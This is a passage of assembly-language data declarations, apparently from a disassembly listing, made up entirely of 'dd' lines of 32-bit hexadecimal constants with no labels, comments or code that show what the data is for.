dd 9061986Fh, 95B73AC0h, 8CF8E7h, 384D3BD9h, 17B05E47h
dd 974C300h, 8EABF21Dh, 22BA3C8Bh, 6E80B5B9h, 394234D1h
dd 687DE199h, 0DF0B2300h, 0C8CF19BEh, 14610B2Ch, 800858Ch
dd 841E768Dh, 3949FE00h, 0E9AA6B7Fh, 995428F0h, 7933EC8Ch
dd 60E181h, 0B2530EABh, 9EE283D0h, 7840B877h, 6B00997Bh
dd 0ACD275EDh, 0C70AE4Ch, 0B76576FDh, 0C77A4D20h, 0D010521Ch
dd 0CE5AB240h, 6CC07Fh, 197C9F6Dh, 4C8D0B62h, 0CC7EC24h
dd 59532860h, 0EEC9020h, 0CC5729E6h, 3B030500h, 0BD3B33A0h
dd 1E930399h, 9C18A4B1h, 0EE3FCCC0h, 707E1CC8h, 0B5D9405Dh
dd 8C86EF5Ch, 6AE08200h, 0C4EC0774h, 1F1000BEh, 870AFAF8h
dd 3500BAE3h, 661C0413h, 92A67F6h, 0C462BB42h, 0C36B7000h
dd 0FC00E1D4h, 0D8F61CB9h, 9031A9h, 520B67FBh, 48A86459h
dd 9870ED1Ch, 0D67E66C0h, 3B4E9DDBh, 8F00DA6Eh, 6BDF84D4h
dd 130031DDh, 43C0643Fh, 52AC430h, 2E955441h, 0EB4888CCh
dd 0CABD7317h, 8318DD00h, 0C8E78Fh, 0C75002B3h, 7704B07Fh
dd 7E3D280Fh, 82114058h, 813808h, 327CF802h, 1B95A55Eh
dd 77D7E002h, 40A10E06h, 129094h, 0FC0F31B4h, 0A558EE18h
dd 63DC48h, 9B3A9263h, 5D070h, 1064C438h, 6CD1A3BDh, 5B795D04h
dd 0BCC055DBh, 2452D3DFh, 0E0103265h, 8C684940h, 17935007h
dd 9880731Ah, 1C5A066Ah, 13B6D9D3h, 21BC27ACh, 0AF0577h
dd 596FE6E0h, 3802F406h, 4D7401A0h, 3D65F880h, 403DD93h
dd 0BE0D15B6h, 2980A7D1h, 49D517A7h, 4407145Fh, 8068C85Dh
dd 666F5CE7h, 0BD2F8600h, 5A7F2143h, 642800D6h, 4E2051C2h
dd 331294DEh, 0BC01CDB2h, 0CA266A7h, 9EC82C65h, 0F4514C58h
dd 0BF5A0380h, 0C404A7C7h, 7BA2D717h, 0AD7F8091h, 60E424CCh
dd 2D8B10B9h, 4D49B72Ch, 31261278h, 284C4000h, 8FBA7Eh
dd 0AF275E6Ah, 0EAB5D65Bh, 92003173h, 79FA868Eh, 0FC3A455h
dd 0F991E5BAh, 3ADAB102h, 11EE63DDh, 1CA2850h, 7B124BF2h
dd 8050B0ECh, 78C5712Bh, 0DB250113h, 76069D82h, 80BE61BEh
dd 32981AD9h, 5DEEECh, 33AE92B1h, 201B0836h, 0F0ABBD03h
dd 0B0A3BA47h, 756F129h, 0FA473F5h, 9D406C6Dh, 21DAFB1Dh
dd 0A3800464h, 0B445CE1Ch, 0EB6B008Ch, 0B3533883h, 8950B230h
dd 6790DA88h, 0A94B61Ch, 14D49180h, 1BB3B29h, 0FA15F292h
dd 0F0D1F16Dh, 0DF09C4C9h, 5842034Fh, 0EEB9248Ch, 94470300h
dd 5070CE79h, 0DED9AE00h, 0B032F629h, 3E770002h, 0BC400773h
dd 0C658065Bh, 0A49E00C8h, 0B3A3B488h, 69FC2Dh, 9F307661h
dd 3DCC2C16h, 0B998470Eh, 0BF1C637Dh, 808CE29Ah, 0DF8F7FACh
dd 0C2D53D2Ch, 4F60380h, 0C671994Bh, 22C51600h, 0B215683Fh
dd 0CC76F7h, 953DF217h, 58FE0DF1h, 0AA5BA300h, 66998D4Ah
dd 24843FFDh, 3F016C5Ch, 1057CC1Ch, 1647FC58h, 283ED7B8h
dd 0FCA30049h, 138EDE11h, 53F900BCh, 0EE8B6045h, 382C9A47h
dd 0D540988Dh, 5598CEh, 80507AA7h, 2939FE30h, 7870B89Ah
dd 3B00C87Dh, 62177FDFh, 68B6CD36h, 0C0A4DAh, 1B0D5275h
dd 0AF031C01h, 0B3E7F8E9h, 9F661310h, 77400045h, 1F4FA883h
dd 6620B09h, 2930031Eh, 73E8A96Fh, 480870h, 9F5C14D9h
dd 1B85A53h, 7ED06302h, 0C05F64DFh, 0F6E93854h, 4BD30098h
dd 0FD8A251Ah, 0EEF6CB6Bh, 0F843D003h, 0E02AFE0Ch, 7819C0h
dd 0DC535231h, 0DFFDC7BCh, 5C63E400h, 99159BB4h, 0B96E0070h
dd 437EF00Ch, 9E0C7FA4h, 0F80E6F78h, 0C3D5131Fh, 0F2A2008Dh
dd 0CB8FA5ECh, 6ADDE600h, 3B04323Eh, 4D3700C8h, 93F79473h
dd 96E0FFD9h, 6D0BD3B8h, 11FADDh, 300629E4h, 0DBAA00DEh
dd 0C0B916BDh, 4A014797h, 7E3A1360h, 746049F9h, 0FB992CDCh
dd 7CC1FE4h, 206D2047h, 0AB30CDD0h, 0D4A2C300h, 43F7995Bh
dd 0F3E72411h, 5F6F0930h, 12051500h, 0E60213CBh, 0A06A3C54h
dd 0A450B0h, 0E221D78Ch, 8714BCE7h, 0C36E3F00h, 0C92AFD16h
dd 190B0E13h, 37C3BB7Bh, 0F3FAB40Eh, 4A6F3040h, 0BEF05C41h
dd 227E28C7h, 0B87F3FDCh, 405FF29Fh, 2B729F70h, 4B09C160h
dd 80D176A5h, 62FB7D80h, 0AA6E0980h, 18AE0EB6h, 47469C80h
dd 0F200FA88h, 0DF78B4A7h, 58B52D6Ah, 4030452Fh, 0C8D1C928h
dd 741F0603h, 0C1E1D654h, 0BDF3B30h, 0BC88E721h, 0DD657C81h
dd 0AA583495h, 23A2FB02h, 0E0BFDB2Bh, 2D4098h, 56029BA0h
dd 0E491D95Eh, 6B263F00h, 0A5051735h, 0D34200FAh, 1CC66E08h
dd 0CDE8BE5Ah, 44019300h, 762F1562h, 1092618Ah, 0F35D9AE5h
dd 0B9B2AF0h, 7DA3DA00h, 70D4FC3Fh, 791E000Fh, 4C5C6F2Dh
dd 6409A76Ch, 876AD1h, 2632DB64h, 0B2CB0047h, 441C7A79h
dd 0F6000906h, 751FB40Fh, 4562C0h, 2E5A0791h, 9AC96771h
dd 7B432800h, 0AAF52CABh, 9B31001Fh, 0BE78264Ah, 2D26A127h
dd 5B40E0DBh, 577DD4h, 846CE792h, 0CB91A804h, 0D62CCA76h
dd 14001E1Eh, 53F0EC66h, 0B2A600B1h, 7A6FDE92h, 384A3AE9h
dd 54D0F405h, 50D75882h, 23861F68h, 0AEC3D4D8h, 9A40590Ch
dd 137D1919h, 0D6A11D03h, 0A0A40860h, 0CED41784h, 0D7C57B20h
dd 22C3C06Ah, 1A003388h, 8A73EF02h, 0FA821F7h, 98F2859Fh
dd 7A9C1280h, 0D107C25Eh, 0D3FBAEE3h, 9BCC79B0h, 0F31413F2h
dd 0B3A80080h, 34521223h, 4B5F80DEh, 0E7A17B46h, 0D1E53E31h
dd 0D7761B8Ah, 415B808Ch, 122BBB9Ah, 818B117h, 58CA590Dh
dd 0DBEC2080h, 0D53605BEh, 59040714h, 0F34A00B7h, 0EE71989Dh
dd 0E20C3BE6h, 25067080h, 0CDBBFA59h, 0B2627B12h, 802CA30Eh
dd 4CDD3A18h, 0F31B005Eh, 242B445Bh, 0AB009C01h, 98DE061Ah
dd 2F5CC8CEh, 690036CFh, 0D4815A84h, 0BA6F3Fh, 89B7172Ch
dd 768271h, 0B59179FEh, 43C8027Eh, 0EF1E863h, 4C1089CBh
dd 780411A3h, 0E4A8B5F1h, 0B600506Eh, 5391AE6Ch, 0C0DCCAE6h
dd 4F8FA2B4h, 0F75206Ah, 0D85D680Ch, 88BF29A8h, 0F207F4C1h
dd 23763C4Eh, 0C3AD8B50h, 7614B811h, 5CDC0053h, 2671D175h
dd 0CD008091h, 0AA21A2A9h, 3842E0h, 0D7626A82h, 0E36109F7h
dd 851D1400h, 0D992A850h, 982C000Eh, 0A62EA32Fh, 0F6A03C08h
dd 333E3FBCh, 866300D8h, 93605EC4h, 81738Ch, 70469522h
dd 67E4A2EFh, 79487D0Ch, 5A1071h, 47D75404h, 7701DE6h
dd 65B90300h, 56FE11B5h, 2E0804D5h, 80B68DE8h, 91F4DC7h
dd 0C957301Dh
dd 0D821EF80h, 132ABCA0h, 0E0A714h, 9F84F770h, 0D4E0F809h
dd 7514E00h, 95A84935h, 7CC8FA6Eh, 0A7EE01h, 1D685F65h
dd 4BEF3884h, 7CBFA100h, 1893B6D0h, 0F65200F2h, 0B58FE7D5h
dd 0A0002CD2h, 0A86D60CDh, 7250C13Ah, 89780012h, 9CC5925Ch
dd 0B73B3BADh, 0D7B30054h, 155A68BCh, 0C4081D0Ah, 0F9574E88h
dd 0ED2B5540h, 6500C7E8h, 0D4A621B0h, 153967h, 0F48F8788h
dd 0C63127A7h, 9D443400h, 0A928523Fh, 22170033h, 0D0B89FDDh
dd 0E9000DFEh, 8CDE9CE4h, 13BD91h, 0D6A0F575h, 0E8D3A229h
dd 2A04921Fh, 5E0CF126h, 0E8B718D1h, 5C9BE07Eh, 3A009DDEh
dd 0B6A80293h, 4EC671Eh, 17199E00h, 0A31D740h, 0D01D13EBh
dd 0D25001Fh, 0FAFC9721h, 0DB87C400h, 187F79DDh, 80BF3FD1h
dd 3BE26F80h, 1CC1EE33h, 35FE9100h, 605D82AAh, 0FBC83C5Bh
dd 0CC7D7880h, 0B442F994h, 40B03403h, 0E01D3B95h, 767B56h
dd 0B96D049Dh, 0FF4E3363h, 180FB47Ch, 0CF8AB277h, 0C2FAE6E8h
dd 0F2992780h, 8B002478h, 4AA11EF6h, 0D86BE2h, 0F9CE83BEh
dd 987FA55Fh, 710028B8h, 650111C5h, 0B0BDB889h, 88360068h
dd 7A8129F2h, 2400797Ch, 27469E4Fh, 0B997060h, 183748D6h
dd 0BC9B7B00h, 0D13D19F4h, 43DA1F26h, 7CFF455Dh, 0CA05CE00h
dd 79E4314Eh, 0E37600ECh, 925FCFB6h, 437F06A4h, 968BB00h
dd 7E7A63Dh, 7798006Ch, 2CF9FF44h, 0C260E261h, 2064C540h
dd 21B00EAh, 0B24AA16h, 0BB016D13h, 85821B2h, 0E8449771h
dd 6FE390C0h, 18A200C2h, 0A49B1CC7h, 0BF004D4Ch, 339D640Ah
dd 85A8E1h, 63888EB0h, 0C5518F1Fh, 0E9315300h, 34F02F24h
dd 7D0DEE59h, 0B91C006Bh, 0ED8A9BC9h, 0EE00E268h, 0F8BCDBA2h
dd 0C014482Dh, 82296C38h, 8C031B37h, 477E07F5h, 27C8008Ah
dd 0F611AE76h, 0DF00BEE4h, 5D1A4106h, 457F89h, 0C395679h
dd 77EEAA96h, 32ACC900h, 58767A99h, 0D44B0031h, 287C3457h
dd 7950F35Bh, 0DA061D8Bh, 298AD050h, 0B78D0CE8h, 0B4708FA9h
dd 0CB2F2002h, 980F43CCh, 7193598h, 0ED8065B3h, 0DBD4603Dh
dd 940F715Ah, 60A51C79h, 27833A0Eh, 141DFCF2h, 0FC2B5B61h
dd 0A7C8F00Fh, 17D8EE40h, 407DB7C0h, 5233F700h, 0EBAC3E61h
dd 0B6EC3E63h, 35E54200h, 0BBBED71Dh, 0AA8F7507h, 419094B0h
dd 0C1F13Ah, 192AA52Bh, 6BC57B74h, 8E519B00h, 0F8C824FDh
dd 0C7D800B0h, 0A07F0DF9h, 0F6003CC4h, 5BEF8E50h, 13C00726h
dd 0F519C05h, 0A040880Fh, 4371E9C1h, 17001B71h, 85BCB58Dh
dd 0E4B766Ah, 0D0B12D10h, 10062907h, 874D803Ah, 0A1C59E03h
dd 0E9129604h, 9C404FBAh, 20DB2Eh, 6E2565CBh, 10B77393h
dd 0BD11FD03h, 0C844EA7Dh, 2416409Eh, 1820A9D5h, 0BCCEFAA6h
dd 6AD88D00h, 7D42AB66h, 7CC70479h, 80BBCB61h, 8127EA8h
dd 1FDC0300h, 0D3FC21E4h, 0AC354970h, 2C26D900h, 80BEE9AAh
dd 4379A703h, 1F2A0944h, 8182DF28h, 6A8A0686h, 1B70205Fh
dd 704BF201h, 0E3681B2h, 0FCE8EE60h, 9FB500A1h, 0C15C9DCDh
dd 0D50075C4h, 0F0763C2h, 0EAB8Ah, 65CF1FB5h, 0A70844D0h
dd 2C73B701h, 0FDC32B5Fh, 92362E0h, 35C7944Ah, 46006C09h
dd 20D7B1A6h, 86248578h, 73074CAEh, 136027FAh, 0BC34Bh
dd 67A76D46h, 4FF87121h, 80B47C24h, 0CC659007h, 1533E490h
dd 0D9EC24FCh, 71BC0014h, 0C9DF92B5h, 701EF090h, 2D40EB6Dh
dd 64CE885Ch, 522600F9h, 0A173B4F3h, 0E20095D1h, 17C3D8A7h
dd 60A00192h, 0ADCC020Ah, 0C00E850h, 0E1F77894h, 0B2C58C6h
dd 1E2A681Dh, 0FC2EBD00h, 0F200B2FDh, 58D0C394h, 5C48B1h
dd 9278D402h, 0CD59387h, 0D686BE09h, 0BAC08036h, 149BB8h
dd 71409D0Eh, 0EE6F1D02h, 9EF36800h, 63E8E1B2h, 0FE585C45h
dd 34882701h, 70412CC9h, 47032805h, 390D0E1Ah, 38308004h
dd 1F97707h, 3D16123Fh, 60FE793Ah, 0FF002A2Ch, 81179B09h
dd 77B702Dh, 0D759A56Eh, 28EC81CFh, 1F109063h, 60D12911h
dd 16E9F520h, 180C003h, 4B3CE8Fh, 6A2FD200h, 1C90B2DFh
dd 8D7671h, 9BBEB465h, 72E966C6h, 91075975h, 6FCF90DDh
dd 0A0975C53h, 0C0E35EC3h, 2DD5DC60h, 0D898BE3Ah, 0A6219060h
dd 0E49B3470h, 29D46020h, 8491BFEBh, 0B32A5515h, 7E5C018Ch
dd 72A67980h, 1EDBEDD8h, 8BBB906Dh, 2300E3B4h, 7FC508B2h
dd 737CFB03h, 89BC89C1h, 0AC04181h, 30FF003Ah, 72368EC4h
dd 47009E13h, 855BC68Dh, 42B064h, 800F79E8h, 61D5373Fh
dd 96B8FB0Ch, 4E81BAh, 159FF668h, 48DE68Eh, 7A1F9870h
dd 0B9B0B9CAh, 71E7BDADh, 0EE3700EDh, 0BE9C09F5h, 58008856h
dd 0E9D1333h, 178DCA8h, 590C7E87h, 80C9E716h, 515E2F60h
dd 0B03CCA20h, 50DF6Ch, 74D8694Ah, 5E007142h, 223218DBh
dd 7A64B7h, 0E2977584h, 79290962h, 0A41E0828h, 7B44AA3Eh
dd 2E0054F4h, 538EF767h, 0F2961C33h, 714A0073h, 361A3EBh
dd 0F41717F9h, 0F303E18Ch, 0BBD7BCBAh, 0CB7EC176h, 30B10270h
dd 0CAE1D6B9h, 0D5165568h, 6F00F4DAh, 4B2F6FEEh, 0D85BEA3Ch
dd 51DF28B0h, 0AFA43E0Fh, 2DA921EBh, 0EE84396h, 75600078h
dd 76E71E63h, 3B0101BCh, 0CEA4FC9Dh, 2220D599h, 6408C680h
dd 18002074h, 0B128FC95h, 6097BFA6h, 1C6639D1h, 0D70F4F1Dh
dd 60963AE9h, 0D1791F5Ah, 624502CAh, 3CC7602Ah, 12CD3F60h
dd 8E304300h, 351FDB06h, 204567DAh, 4508C01h, 0B610A100h
dd 2579431Dh, 202B60B2h, 1993DBCBh, 28E67C30h, 0F4037361h
dd 0A27F03ABh, 0A02786C0h, 210089A3h, 0A4038B50h, 0D9B7CAh
dd 34669F56h, 1D598840h, 63A1F600h, 0C068D4Ch, 1481002Fh
dd 0C12E5D07h, 180074E0h, 0CDD64BE4h, 6747F4h, 0A8277FDFh
dd 0E0B5423Fh, 41ED6D00h, 0D6CDBD7Bh, 0D10E00A1h, 25208594h
dd 8F02A8D4h, 10E1AA26h, 33D280AEh, 0B82D4265h, 0B02800A6h
dd 0C261258Ch, 0BC00E4BFh, 263C5C20h, 0A8B211h, 0F50DFCD7h
dd 0DB429BC3h, 0B1D9D300h, 7651C41Ah, 8F4C03FEh, 0BAE7AA57h
dd 4AC539F0h, 38133Ch, 0BE776029h, 346570D6h, 6E102706h
dd 0F8010C04h, 7E9D105Ah, 6D1A0257h, 47BEB0B1h, 0EADEEAC1h
dd 0B7A8F80h, 930053DFh, 6E565C26h, 4A8804h, 175BFD0Eh
dd 0ABDF745h, 28546201h, 0CA316199h, 37CEFCh, 0B6DFFE30h
dd 48AFE6E5h, 6058A900h, 0DE2443C9h, 0FC985A28h, 1D5898h
dd 9D6E6A7Eh, 0EC830h, 87A8847Dh, 78BC28DFh, 0ED13C401h
dd 0D612F209h, 943760h, 25F50F6Eh, 845C8EC1h, 0D4E5E800h
dd 495806ECh, 0F7F43D1Dh, 86403A80h, 38D31E61h, 9D72BE39h
dd 0F08558AAh, 49C3FD94h, 0E49D8F4h, 33440747h, 50013924h
dd 3F85F0C2h, 0BB03B700h, 26FF62D8h, 9492001Eh, 0C8739F10h
dd 0F0B3844h, 80BF1C5Eh, 0D159FE57h, 53C2193Ch, 60646837h
dd 2E00256Eh, 0F7B54F5Dh, 743D4B8Ch, 0C14D3ED5h, 64ADA080h
dd 8EAFC208h, 8313553Eh, 0F0A7CC4h, 0A072CAD7h, 0F8EEBFDCh
dd 583460B5h, 93DF3C86h, 6600A7FEh, 0ED0A7EAEh, 0C7FEDAh
dd 3E12C160h, 34F7CA80h, 927FBC04h, 3B8145A0h, 4246264h
dd 704D00ACh, 0EF4AE44h, 0BC772166h, 28C1041Eh, 19FB15C0h
dd 0E238F7h, 973E228Ah, 923AF475h, 18FECE00h, 7D9D499Ah
dd 3D8500E3h, 28068B4Dh, 6B7453DAh, 38140475h, 3E9893D3h
dd 58F980DDh, 5D0227A9h, 133400B0h, 90EAD42Bh, 1D00B39Dh
dd 757DB71Ah, 2CFB83h
dd 780F8458h, 87A33CAEh, 92948203h, 0B8127ADDh, 3972F0D5h
dd 1F0E0FCh, 17BF74F5h, 60654F0Fh, 0DC03EA30h, 0A380F049h
dd 5E6EC01Eh, 59C003C3h, 3CB1D157h, 0B0557B80h, 86E17300h
dd 60BD5FFFh, 1E760766h, 709802B1h, 29D12515h, 8B13BE00h
dd 648EB430h, 96F62421h, 7AD780C8h, 71F4B6AFh, 4357E100h
dd 0DB621FEAh, 0EFEC0061h, 51074C85h, 83002A26h, 7E23D871h
dd 0E6E4020h, 74DCD0A7h, 518A78C6h, 0BF002175h, 4466CDD8h
dd 0EAEA62B0h, 0BDE2C9h, 6E21F1B7h, 0D7757EB3h, 31DE3Fh
dd 0E7DC4465h, 0C6D2837h, 1453E302h, 2B775CC0h, 88A0F77Eh
dd 82790B37h, 5130AF1Dh, 6A1E8140h, 244E96h, 54673BC8h
dd 4C5EBFC0h, 3F91A800h, 7A6DAE23h, 2A720EE1h, 0E02356DDh
dd 5BE3FAF5h, 609F7800h, 0E58A80CFh, 828900D6h, 417A144Eh
dd 0F0268B1Ah, 0B3813870h, 3077D875h, 0E6DDB181h, 60682924h
dd 80609E5Eh, 0F1114AB8h, 6DEF003Eh, 6E0BDFD0h, 0F004191h
dd 0A1955AA3h, 0E54FF50h, 1EE8F946h, 60422987h, 6DC214EDh
dd 8BE23D3Eh, 80369BFAh, 954C467Ah, 0BFAF00BBh, 0D3863754h
dd 6C07E190h, 8C1EB01Ah, 5CFDC480h, 5BF317BCh, 759400DEh
dd 7A8E9E9Ah, 8A513D03h, 0A8C9E218h, 0BA3236h, 0A2B7789Ch
dd 0A08359D4h, 885B8700h, 41AF6D31h, 0E96B004Ah, 26723339h
dd 7D00D6D9h, 8C35A4Bh, 0BAEC99h, 0DAE9D230h, 0CCC819B3h
dd 118E0C00h, 1B805D8Dh, 1F18F6ECh, 38A77FDh, 0F1A78FBFh
dd 0BBC8E188h, 0A4BBC3Ah, 0AC74C037h, 459D1C07h, 0FA02FC80h
dd 476D0051h, 573ADE6Bh, 3230A9ACh, 0D208B8A2h, 2BE7009Ah
dd 0A54A69EEh, 98385433h, 7DEB0084h, 8107EF25h, 0C5480746h
dd 708A3B97h, 8959A5A4h, 476E6900h, 0D64F1C9Dh, 1D200E1h
dd 0A2ED3D4h, 0A900EE3Dh, 9561C536h, 0AEFEBEh, 0F871645Eh
dd 0CB2FFFF2h, 0EB086B1Eh, 9281BB1Eh, 1CBC5AA1h, 0F4C9D8E8h
dd 0CEFE3093h, 479C37D1h, 719E1612h, 791C1440h, 97E899h
dd 0B68B0F45h, 4DBB4302h, 0AD041A00h, 0B31049AEh, 0E8003A0h
dd 18A5B86Ch, 0CA0611E8h, 30035175h, 0A06D02F1h, 0E868D3A4h
dd 7ADF38h, 0EF10CCE6h, 0DE178F45h, 15489000h, 0BDB31B40h
dd 0DA7705CAh, 5D6A91h, 0FB3ED8C2h, 100EF93h, 2E49B8AFh
dd 24F17Ch, 0C32163B7h, 0DA085A5h, 0EE48B4E0h, 987E0045h
dd 44691E67h, 0FD410002h, 0BB0D8B16h, 2C2C6555h, 6A9FE82Bh
dd 81BC15C9h, 721D107h, 1B6EF0DBh, 20F0A68Ah, 0D5E65312h
dd 0F8F74A00h, 0E8FE7213h, 44A539CDh, 3255FA00h, 3BA2E3DAh
dd 0E4174D00h, 0C9756D97h, 0D8CB12ADh, 0DB9C0055h, 0F4FD05B0h
dd 70729403h, 0A761EE28h, 4DCDE351h, 0B3FFCCh, 84B09541h
dd 9C4A9713h, 0F2B9F700h, 0FA614324h, 3747004Dh, 4CDCF0E8h
dd 0EC20F77h, 40720C9Fh, 86832h, 51A03FBBh, 53CED809h
dd 0D55F0E02h, 0E0FD2734h, 11BE38h, 73258FB5h, 5A41E4FBh
dd 0C5922C00h, 9E7EC4A6h, 6BBC07E8h, 40AA216Dh, 2EF1BD1Ah
dd 0DA0DA700h, 1E18CB15h, 8E4B005Fh, 0F83DD093h, 6A1F9E47h
dd 5D404584h, 1D1244D6h, 22405E0h, 0C0D406C1h, 8AF4C033h
dd 0D2AB2E0Eh, 0C7BF4096h, 0F0180346h, 0ED2800E4h, 2EEB52CCh
dd 0B400A90Ch, 2B0BAFFCh, 3B5949E6h, 0B8E2B56Eh, 0E28003D6h
dd 3128AC68h, 0ADD75C00h, 59A88EF0h, 15890058h, 1542549h
dd 0EF0BBAFFh, 20287A75h, 16D122E8h, 2BFEA121h, 0FB510D0h
dd 0AB04137Ch, 0C0AA26E5h, 0ACA31B0Ch, 0BE347B1Dh, 0BF818E40h
dd 8B111Eh, 97B5AF8Dh, 0F9CAB8B0h, 812CAA3Dh, 0BFF43461h
dd 68BC7546h, 2F102431h, 2C20167Fh, 0F6BD85h, 0FD74143Eh
dd 0BE0E37ADh, 0EB862BFCh, 0B810A159h, 0B080D0A9h, 0C3CBEFD8h
dd 9600E3B7h, 0A6102BE9h, 0CAF8894h, 78A8F4DCh, 3A0F3838h
dd 0E39D08h, 0DFCCDD90h, 7654009Fh, 4C3593C5h, 1700F9E5h
dd 1BAB80CEh, 0E43027h, 0C7D3454Eh, 54E25F16h, 7077F200h
dd 4C6AE701h, 0F46DE8B6h, 94501E02h, 5BF643A5h, 29CB18DAh
dd 4BC10AF0h, 0D42B3B24h, 5A327600h, 5D72D0h, 1E29BDD5h
dd 0A598F6E4h, 0E13AF31Fh, 0BA146C0h, 7EDCFB93h, 8402506Ah
dd 86600A1Ch, 81D02A03h, 1F360FC7h, 0AC0700A0h, 3E08CC14h
dd 17006A21h, 9DEBCF36h, 1A83437h, 22132F4Ah, 706D2C93h
dd 0A201622Eh, 2977C22Bh, 0AC575083h, 71B8A800h, 0E7B006CDh
dd 8C8D53Dh, 15214960h, 3DCB881h, 0BDA34C87h, 48067D75h
dd 27FBAFE0h, 7354650h, 0CD65B8ACh, 3B32E294h, 0B8841920h
dd 8C8F00CEh, 9DAEC80h, 54619DE5h, 0F6386021h, 7F08BCh
dd 0F2091CAEh, 4DEFB9C4h, 4C05F100h, 88E504D2h, 0FF510F97h
dd 56A06896h, 3421F2E4h, 3A808A50h, 0A3240A07h, 0FCEAA169h
dd 961E200h, 0E3EBF0h, 802FDB26h, 46C45329h, 63382560h
dd 3B48E8h, 82EB946Ch, 117DB0E7h, 35D71300h, 2E178001h
dd 5ADB00B3h, 0C679F2D8h, 21267BE2h, 86003ECBh, 47679B0Fh
dd 4EBA0045h, 2E8E3FF2h, 9F4C5781h, 9A8F001Ch, 0DA1AB4D7h
dd 0C0C200FCh, 0A658461Dh, 0A300047Dh, 0D775537h, 1E749F7h
dd 0F8C2B88Ah, 0E47813B1h, 9B047BBBh, 1D208FFCh, 0AEF03580h
dd 96E20721h, 0C006232Dh, 93D5AA1Bh, 738CC5Ch, 0C422356Eh
dd 0D847A113h, 0FE4416h, 0F6329061h, 0A67FDD64h, 912BE00h
dd 0CC94DB7Dh, 877C1817h, 0B6E418BDh, 81991403h, 0EE77F73h
dd 12D3F258h, 4472E547h, 5369C06Ah, 95007E25h, 0DB7FBF4Eh
dd 1E26FC6Dh, 1DBE0F9Bh, 0C3730065h, 0C2441AB1h, 1718B766h
dd 32A7958h, 9E50CEE6h, 0D1F836CCh, 0D7180C41h, 52716CB7h
dd 0FAF612h, 0DD053CDAh, 0AB2069F5h, 0CD009B7Ch, 0C62B46DEh
dd 0C0806495h, 0FC1AD530h, 68C6AE1Eh, 3C499EB7h, 4A01AA3Ch
dd 0DC791249h, 4D57D82Ah, 2D941804h, 85003EB6h, 0D18F4E02h
dd 0AB540E00h, 38B2DD1Eh, 0C8F40039h, 9D3BA307h, 0BD73E8FFh
dd 6316800h, 70B5847Ch, 8BA500D8h, 0D181B8A1h, 250A4F9Ah
dd 916E27B7h, 43E10300h, 0FE391Eh, 0D1F1B468h, 0B775BC78h
dd 0AFDD5F1Dh, 7731DF40h, 16C3A260h, 0C588E3h, 26E0D57Ch
dd 2004F46h, 4AE1DEE5h, 0C9CADFh, 8D03BC79h, 61241132h
dd 0E94F8600h, 0CADB1E19h, 7BAE00D1h, 0CB558EF6h, 6C01837Ah
dd 0C95FA712h, 88874AA0h, 70BFF5D6h, 65021E2Bh, 0D58D4200h
dd 13457E3Bh, 301403D4h, 0F4EF09FAh, 1E79F11Dh, 0ABA7C040h
dd 4B0CD9h, 0D77BE469h, 0A4BE30B3h, 0B4D2D303h, 80CF2DA9h
dd 1B5609Ah, 0BB4783F1h, 80E14535h, 61E53948h, 0BD3ECAA0h
dd 8A0E2A70h, 0B896CBF5h, 0ED964A8h, 0DCE36778h, 0D382C8A0h
dd 0F230DA69h, 6DC441E8h, 32EA037Ah, 9AD7BF15h, 3EF5D188h
dd 0BA35D200h, 2BAD3FDFh, 0E2F403A3h, 97B4150Fh, 870A5387h
dd 1EE760E7h, 8A3D8973h, 7B11833Dh, 0A8339243h, 3A1C6F1h
dd 9AA75FAAh, 18A35E57h, 58E12100h, 63D47F1h, 2F3E00D3h
dd 9B41978Ah, 5E024D6Ah, 882A3315h, 0F4F98113h, 38BC6C1Eh
dd 55105B01h, 6062B3EAh, 7E63FE33h, 425808h, 48384520h
dd 35AFB877h, 94AD1F00h, 0FDE82130h, 0E34E33F3h, 896413B0h
dd 0D6039B8h, 0A110D2F1h, 1EC85E0Ah, 0F615C580h, 4D913h
dd 376FCA6Bh, 79A88C3Eh, 18843B40h, 193CA678h, 2640AA88h
dd 0A09C011Bh, 916CADA7h, 89F8F776h, 6430301Ah, 582031D2h
dd 0EEDB003Ah, 5C861711h
dd 0F1063195h, 0C3DFBB16h, 35F2D6h, 1EC6B565h, 374F6FF3h
dd 0E1853601h, 75493216h, 6241D4h, 64BB28F2h, 5BE64AA2h
dd 5306DD75h, 46E58A8Eh, 61023009h, 0DBB10620h, 0F157AE00h
dd 6C146520h, 6F6B0637h, 490DC6B9h, 2B1DAA00h, 0AE309D3Fh
dd 28B63129h, 806CC408h, 2B45A120h, 1C95DD9Ah, 1ECE5DBh
dd 0DECB2FCAh, 5D688062h, 0D7E4D0F9h, 7B771D69h, 0E1BE0E66h
dd 4A9849A0h, 39526264h, 0DD42025Ch, 319653B3h, 215180DFh
dd 73D1DBB5h, 3A521C14h, 542C078h, 97CBCFB7h, 2869C830h
dd 0E2064C6h, 0E6DD7D9Bh, 4C3C0093h, 4869D219h, 2BCBE01Fh
dd 0A28229F0h, 0C5AF5C29h, 196E0826h, 806D08A4h, 29F06221h
dd 1CB8E8Bh, 0E1C4521Bh, 139FF180h, 4482E985h, 81C4AFF2h
dd 0BD4FFBCBh, 2384E0h, 1D473E73h, 223B9C06h, 0DABC960Eh
dd 189A401Eh, 0E1C88Fh, 0CAC95D54h, 8EBADCA9h, 0A23F1D00h
dd 0E263E93Ch, 4CF06B7Ah, 0ED731301h, 15C320DCh, 1732FC00h
dd 99B44505h, 0E49B002Eh, 0F57830CFh, 6300DA66h, 0D5803DDCh
dd 13C4C7AFh, 0C02FEFh, 0D253F503h, 6500D703h, 4F29FDA4h
dd 39225EAFh, 7E035D85h, 61986CECh, 0CF0D6A88h, 0FFEF5B00h
dd 3701881Fh, 47AC1F2Bh, 44964EA1h, 494E9B20h, 0E3008A7Bh
dd 1F08B152h, 0E0D5F40Bh, 327F00CBh, 0A388E880h, 9D00B093h
dd 3092813Ah, 753E27A9h, 6731F41Ch, 0DC73084Ch, 18007020h
dd 763614A9h, 38D3F7F8h, 163ECC7Ch, 289FF995h, 6B2CF7ACh
dd 0C8004936h, 42498EB9h, 6AE65CD5h, 7DE0007Bh, 401BB6BDh
dd 7501FD38h, 436E6CBAh, 54CCB29Ah, 0B5DB3730h, 0E7D8050h
dd 35014E5Dh, 12AEE7B8h, 70D0F950h, 4C20C03Dh, 423E5EB5h
dd 0E211F409h, 0ACDA8009h, 31E17C91h, 9D298CCEh, 0D95621A8h
dd 5A11813Fh, 0CC59F40Eh, 37169FE4h, 9F08C7B1h, 365D20D8h
dd 2F9F400h, 6E7627F2h, 21E7F89h, 406CB958h, 54903654h
dd 60115E98h, 5A88A835h, 0FED694h, 0B5DC8B78h, 903197CDh
